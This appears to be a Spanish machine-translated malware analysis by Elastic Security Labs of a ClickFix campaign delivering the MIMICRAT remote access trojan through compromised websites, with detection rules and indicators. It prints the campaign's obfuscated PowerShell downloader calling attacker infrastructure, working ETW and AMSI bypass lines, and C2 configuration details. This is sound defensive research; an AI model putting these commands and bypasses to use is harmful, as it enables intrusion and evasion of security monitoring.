Salim Bitam

MIMICRAT: La campaña ClickFix entrega un RAT personalizado a través de sitios web legítimos comprometidos

Elastic Security Labs descubrió una campaña ClickFix usando sitios legítimos comprometidos para ofrecer una cadena de cinco etapas que termina en MIMICRAT, un RAT C nativo personalizado con C2 maleable, robo de tokens y túnel SOCKS5.

7 min de lecturaAnálisis de malware
MIMICRAT: La campaña ClickFix entrega un RAT personalizado a través de sitios web legítimos comprometidos

Introducción

Durante una investigación reciente, Elastic Security Labs identificó una campaña activa de ClickFix que comprometía múltiples sitios web legítimos para lanzar una cadena de malware en varias etapas. A diferencia de despliegues más simples de ClickFix que terminan en robos de información comerciales, esta campaña termina con un troyano de acceso remoto personalizado (RAT) que llamamos MIMICRAT: un implante C nativo con perfiles C2 maleables, suplantación de token, tunelización SOCKS5 y una tabla de despacho de 22 comandos.

La campaña demuestra un alto nivel de sofisticación operativa: sitios comprometidos que abarcan múltiples industrias y geografías sirven como infraestructura de entrega, una cadena PowerShell de varias etapas realiza bypass ETW y AMSI antes de eliminar un cargador de shellcode con scripts Lua, y el implante final se comunica por HTTPS en el puerto 443 usando perfiles HTTP que se asemejan al tráfico legítimo de análisis web.

Conclusiones clave

  • Múltiples sitios web legítimos fueron comprometidos para ofrecer una cadena de ataques en cinco etapas.
  • El cargador Lua ejecuta shellcode embebido.
  • MIMICRAT es un RAT nativo C++ a medida con perfiles C2 maleables, robo de tokens de Windows y proxy SOCKS5.

Descubrimiento

Elastic Security Labs identificó esta campaña por primera vez a principios de febrero de 2026 mediante telemetría de endpoint, marcando una ejecución sospechosa de PowerShell con argumentos de línea de comandos ofuscados.

Dada la novedad de la carga útil final, publicamos los indicadores iniciales a través de las redes sociales el 11 de febrero de 2026 para cerciorar que la comunidad de seguridad en general pudiera comenzar a buscar y defender de esta amenaza mientras nuestro análisis completo estaba en marcha. La campaña sigue activa a fecha de esta publicación.

Los investigadores de Huntress han documentado campañas relacionadas con ClickFix empleando infraestructuras y técnicas similares, lo que indica la amplitud de las operaciones de este actor amenazante a lo largo de múltiples campañas paralelas.

Ejecución de la campaña

La ejecución de la campaña depende completamente de comprometer sitios web legítimos y de confianza en lugar de la infraestructura propiedad de los atacantes. El punto de entrada para las víctimas es bincheck[.]io, un servicio legítimo de validación del Número de Identificación Bancaria (BIN). El actor malicioso comprometió este sitio e inyectó un fragmento malicioso de JavaScript que carga dinámicamente un script externo alojado en https://www.investonline[.]in/js/jq.php, un segundo sitio comprometido, una plataforma legítima india de inversión en fondos mutuos (Abchlor Investments Pvt. Ltd.). El script externo se nombra para imitar la biblioteca jQuery, integrar con la carga de recursos existente de la página.

Es este script cargado remotamente (jq.php) el que entrega el señuelo ClickFix: una página falsa de verificación en Cloudflare que instruye a la víctima a pegar y ejecutar manualmente un comando para "arreglar" un problema. El señuelo copia un comando malicioso de PowerShell directamente en la carpeta de la víctima y le pide abrir un diálogo de Ejecutar (Win+R) o un aviso de PowerShell y pegarlo. Esta técnica evita por completo las protecciones de descarga basadas en navegador, ya que no se descarga ningún archivo.

Este compromiso multidimensional se basa en que un sitio web de cara a la víctima cargue un script malicioso desde un segundo sitio web comprometido, distribuye el riesgo de detección y aumenta la legitimidad percibida del señuelo tanto para los usuarios como para las herramientas de seguridad automatizadas. La campaña soporta 17 idiomas, con el contenido del señuelo localizado dinámicamente según la configuración del idioma del navegador de la víctima para ampliar su alcance efectivo. Las víctimas identificadas abarcan múltiples geografías, incluyendo una universidad con sede en Estados Unidos y varios usuarios de habla china documentados en debates públicos en foros, lo que sugiere una amplia selección oportunista.

A continuación se muestra la lista de lenguajes soportados por ClickFix:

  • Inglés
  • Chino
  • Ruso
  • Español
  • Francés
  • Alemán
  • Portugués
  • Japonés
  • Coreano
  • Italiano
  • Turco
  • Polaco
  • Neerlandés
  • Vietnamita
  • Árabe
  • Hindi
  • Indonesio

Análisis de código

Una vez que la víctima ejecuta el comando del portapapeles, la campaña se desarrolla en cinco etapas distintas: un descargador de PowerShell ofuscado contacta con el C2 para recuperar un script de segunda etapa que parchea el registro de eventos (ETW) de Windows y el escaneo antivirus (AMSI) antes de lanzar un cargador basado en Lua; el cargador descifra y ejecuta shellcode completamente en memoria; y el shellcode finalmente entrega MIMICRAT, un RAT capaz diseñado para el acceso persistente y el movimiento lateral.

Etapa 1 Comando de una línea de Powershell

El comando entregado por la carpeta es una frase compacta y ofuscada de PowerShell:

powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk

El comando emplea segmentación de cadenas y operaciones de índice aritmético sobre una única cadena semilla (aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf) para reconstruir tanto el dominio destino como el mecanismo de invocación en tiempo de ejecución, evitando cualquier representación en texto plano de los nombres de dominio C2 o cmdlets de PowerShell en la carga útil inicial. La ventana se minimiza (-WInDo Min). El dominio extraído es xMRi.neTwOrk, que se resuelve a 45.13.212.250, y descarga un script PowerShell de segunda etapa.

La infraestructura que pivotaba sobre 45.13.212.250 a través de las relaciones de VirusTotal reveló un segundo dominio, WexMrI.CC, que se resuelve a la misma IP. Ambos dominios comparten el mismo patrón de ofuscación de formato mixto en mayúsculas y minúsculas.

Script de Powershell Ofuscado de 2 fase

El script de PowerShell de segunda etapa descargado está significativamente más elaborado. Todas las cadenas se construyen en tiempo de ejecución resolviendo expresiones aritméticas a caracteres ASCII:

$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: "System.Diagnostics.Eventing.EventProvider"

Esta técnica hace que el script sea opaco al análisis estático y a la detección basada en firmas, mantener completamente funcional en tiempo de ejecución. Se incluye una declaración de clase ficticia como señuelo y
El script ejecuta cuatro operaciones secuenciales:

Circunvalación ETW

El script accede al campo interno de m_enabled de la clase System.Diagnostics.Eventing.EventProvider mediante reflexión y actualiza su valor a 0, deshabilitando efectivamente el Event Tracing para Windows y cegando el registro de bloques de scripts en PowerShell.

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

Derivación de AMSI

El script entonces emplea la reflexión para acceder a System.Management.Automation.AmsiUtils y establece el campo de amsiInitFailed a $true, lo que provoca que PowerShell se sal te todo el escaneo de contenido AMSI durante el resto de la sesión.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

AMSI - Parcheo de memoria

El script realiza parches de manejo de métodos en tiempo de ejecución mediante Marshal.Copy en un paso adicional de evasión de defensa menos común, sobreescribir avanzados de método en memoria para redirigir la ejecución lejos de rutas de código monitorizadas. Esto dirige la función ScanContent bajo System.Management.Automation.AmsiUtils a un método de generación vacía.

$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt       = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"

[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
    0,
    [long]$ScanContent_func.MethodHandle.Value + [long]8,
    1
)

Entrega de la carga útil

Con el registro de eventos y el escaneo antivirus desactivados, el script decodifica un archivo ZIP codificado en base64, lo extrae a un directorio con nombre aleatorio bajo %ProgramData%/knz_{random}, y ejecuta el binario contenido zbuild.exe. Los artefactos temporales se limpian tras la ejecución.

$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')

Cargador Lua de etapa 3

El binario eliminado es un cargador personalizado de Lua 5.4.7. Integra un intérprete de Lua de forma estática.
El binario descifra un script Lua incrustado usando un stub XOR en tiempo de ejecución y luego lo ejecuta. La rutina de descifrado XOR (fxh::utility::lua_script_xor_decrypt) se itera sobre el búfer cifrado haciendo XOR por cada byte contra una clave.

El script Lua implementa un decodificador Base64 personalizado con un alfabeto no estándar para decodificar un shellcode embebido. El shellcode decodificado se asigna entonces en memoria ejecutable mediante luaalloc, se copia en esa memoria con luacpy, y finalmente se ejecuta mediante luaexe, logrando una ejecución de shellcode totalmente en memoria y sin archivos.

Código shell de la etapa 4

El shellcode coincidía con firmas relacionadas con Meterpreter, lo que sugiere que la etapa de shellcode es un cargador coherente con la familia de códigos Meterpreter para cargar MIMICRAT de forma reflexiva en la memoria.

MIMICRAT 5 Fase

La carga útil final con metadatos de compilación fijados para el 29 de enero de 2026 es un MSVC x64 PEcompilado nativo con Microsoft Visual Studio linker versión 14.44. No coincide exactamente con ningún framework C2 de código abierto conocido, ya que implementa sus propios perfiles HTTP C2 maleables con despacho de comandos basado en caracteres ASCII y una arquitectura personalizada.

Configuración y comunicación de C2

La configuración de MIMICRAT se almacena en la sección .data. Contiene claves criptográficas, parámetros de conexión y dos perfiles completos de comunicación HTTP. Todas las cadenas de cabecera y URI son ASCII codificadas en hexadecimal y se decodifican en tiempo de ejecución.

El C2 funciona por HTTPS en el puerto 443 con un intervalo de llamada de 10 segundos. El nombre de host del servidor C2 (d15mawx0xveem1.cloudfront.net) está cifrado RC4 con la siguiente clave RC4 @z1@@9&Yv6GR6vp#SyeG&ZkY0X74%JXLJEv2Ci8&J80AlVRJk&6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5.

El implante emplea HTTPS para la comunicación con un esquema de cifrado en capas: una clave pública RSA-1024 integrada gestiona el intercambio asimétrico de claves de sesión.

Aunque AES se emplea para cifrado simétrico del tráfico C2, emplea un abcdefghijklmnop IV codificado en fija y una clave calculada en tiempo de ejecución que deriva de un valor hash SHA-256 de un ejemplo de valor alfanumérico generado aleatoriamente 9ZQs0p0gfpOj3Y02.

A continuación se presentan los perfiles empleados por el ejemplo para las solicitudes POST y GET:

Perfil HTTP GET: Check-in y tareas
ComponenteValor
Uri/intake/organizations/events?channel=app
Agente de usuarioMozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045
Referente[https://www.google.com/?q=dj1](https://www.google.com/?q=dj1)
Aceptar lenguajezh-CN,zh;q=0.9
CookiesAFUAK, BLA, HFK
Perfil HTTP POST: Exfiltración de datos
ComponenteValor
Uri/discover/pcversion/metrics?clientver=ds
Referente[https://gsov.google.com/](https://gsov.google.com/)
CookiesARCHUID, BRCHD, ZRCHUSR

Despacho de mando

MIMICRAT implementa un total de 22 comandos distintos para proporcionar capacidades posteriores a la explotación como control de procesos y sistemas de archivos, acceso interactivo a la shell, manipulación de tokens, inyección de shellcode y tunelamiento proxy SOCKS. El intervalo de la baliza y el jitter son configurables por el operador en tiempo de ejecución mediante comandos dedicados. A continuación se presenta una tabla resumida de todos los comandos implementados:

Cmd IDFunciónDescripción
3SalidaTermina el proceso de implantación
4Establecer intervalo de balizaConfigura la duración del sueño y el jitter
5Cambiar directorioCambios en el directorio de trabajo actual
10Archivo de escrituraEscribe una carga útil suministrada por C2 en disco (sobreescribir)
11Archivo de lecturaLee un archivo desde el disco y exfiltra el contenido a C2
12Proceso de apariciónLanza un proceso usando un token robado si está disponible, volviendo a la ejecución estándar
28Imitación de revertReverte la suplantación de token y limpia el estado del token
31Robar fichaDuplica el token de seguridad de un proceso destino mediante PID
32Procesos de listaEnumera los procesos en ejecución con PID, PPID, usuario, dominio y arquitectura
33Terminar el procesoTermina un proceso mediante PID
39Obtener directorio actualDevuelve el directorio de trabajo actual a C2
53Archivos de listaLista archivos y directorios con marcas de tiempo y tamaños
54Crear directorioCrea un directorio en el disco
55Discos de listaEnumera los discos lógicos
56Eliminar archivo/directorioElimina un archivo o elimina un directorio
67Agregar al archivoAgrega datos suministrados por C2 a un archivo existente
73Copiar archivoCopia un archivo desde el origen al destino
74Mover/renombrar archivoMueve o cambia el nombre de un archivo
78Shell interactivoAbre una carcasa CMD interactiva persistente sobre una tubería
100Inyectar shellcodeInyección reflectante de shellcode
101CACETINESConfigura el canal proxy de SOCKS o lo detiene
102Proxy SOCKSComparte manejador con el comando 101; Lo más probable es que sea un comando provisional

Infraestructura

La infraestructura de red de la campaña se agrupa en dos grupos principales:

Clúster A — Entrega inicial de la carga útil (45.13.212.251 / 45.13.212.250)

Múltiples dominios apuntan a este rango de IP, incluyendo xMRi.neTwOrk y WexMrI.CC. La denominación de dominios emplea ofuscación de mayúsculas mixtas. Esta infraestructura sirve al script PowerShell de segunda etapa y al payload embebido ZIP.

Clúster B tras la explotación C2 (23.227.202.114)

Asociado con www.ndibstersoft[.]com y observado en las comunicaciones por baliza desde el archivo descartado. Esto representa el canal C2 posterior a la explotación del operador.

Relé CloudFront C2
d15mawx0xveem1.cloudfront[.]net está confirmado como parte de la infraestructura C2 de MIMICRAT. Las relaciones VT para el ejemplo de rgen.zip muestran que contacta este dominio CloudFront usando el mismo patrón de URI /intake/organizations/events?channel=app identificado en el perfil GET de MIMICRAT, confirmando que actúa como un relé C2 que hace fronting para el servidor backend.

Infraestructura de entrega

Dos sitios web legítimos comprometidos forman la cadena de entrega:

  • bincheck.io — punto de entrada frente a la víctima; comprometido para cargar el script malicioso externo
  • investonline.in — aloja la carga útil ClickFix JavaScript (/js/jq.php) disfrazada de jQuery; este script renderiza el señuelo y entrega el portapapeles PowerShell

Malware y MITRE ATT&CK**

Elastic usa el framework MITRE ATT&CK para documentar tácticas, técnicas y procedimientos comunes que las amenazas persistentes avanzadas emplean contra las redes empresariales.

Táctica

La táctica representa el porqué de una técnica o subtécnica. Es el objetivo táctico del adversario: la razón para realizar una acción.

Técnicas

Las técnicas representan cómo un adversario logra un objetivo táctico mediante la realización de una acción.

Mitigaciones

Detección

A lo largo del análisis de este conjunto de intrusiones, se observaron las siguientes reglas de detección y eventos de prevención de comportamiento:

YARA

Elastic Security creó reglas YARA para identificar esta actividad. A continuación se muestran las reglas YARA para identificar al MimicRat:

rule Windows_Trojan_MimicRat {
    meta:
        author = "Elastic Security"
        creation_date = "2026-02-13"
        last_modified = "2026-02-13"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "MimicRat"
        threat_name = "Windows.Trojan.MimicRat"
        reference_sample = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
        scan_type = "File, Memory"
        severity = 100

    strings:
        $b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
        $b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
    condition:
        all of them
}

Observaciones

Todos los observables también están disponibles para su descarga en formato ECS y STIX en un paquete zip combinado.

En esta investigación se discutieron los siguientes observables.

ObservableTipoNombreReferencia
bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1SHA-256Etapa 1 carga útil PowerShell
5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51SHA-256Cargador Lua
a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4bSHA-256Baliza MIMICRAT
055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28bebSHA-256Ejemplo relacionado de baliza
45.13.212.251Propiedad intelectualInfraestructura de entrega de carga útil
45.13.212.250Propiedad intelectualInfraestructura de entrega de carga útil
23.227.202.114Propiedad intelectualC2 posterior a la explotación
xmri.networkDominioEtapa 1 C2 / entrega de carga útil
wexmri.ccDominioEtapa 1 Alternativa C2
www.ndibstersoft[.]comDominioC2 posterior a la explotación
d15mawx0xveem1.cloudfront[.]netDominioC2 posterior a la explotación
www.investonline.in/js/jq.phpURLHost de carga útil JS malicioso (comprometido)
backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zipURLEntrega de carga útil